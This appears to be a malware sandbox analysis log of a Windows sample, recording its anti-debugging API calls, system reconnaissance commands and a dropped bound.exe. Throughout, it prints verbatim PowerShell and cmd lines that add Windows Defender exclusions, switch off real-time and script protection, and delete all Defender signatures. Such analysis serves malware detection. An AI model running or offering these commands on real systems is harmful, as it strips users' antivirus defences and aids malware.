Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD0D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF7EAD0D12C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD0D30C SetUnhandledExceptionFilter,	2_2_00007FF7EAD0D30C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD0C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF7EAD0C8A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD1A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF7EAD1A614
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7963248 IsProcessorFeaturePresent,00007FF8F8751A90,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FF8F8751A90,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E7963248
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21CB7 SetUnhandledExceptionFilter,	2_2_00007FF8E7A21CB7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A2212B IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E7A2212B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A9DFFC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E7A9DFFC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80D4390 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E80D4390
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80F339C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E80F339C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E8133318 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E8133318

Source: C:\Users\user\AppData\Local\Temp\bound.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: bound.exe PID: 7976, type: MEMORYSTR
Source: Yara match	File source: dropped/ConDrv, type: DROPPED

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'	Jump to behavior

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\bound.exe bound.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 0_2_00007FF7EAD29570 cpuid

0_2_00007FF7EAD29570

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
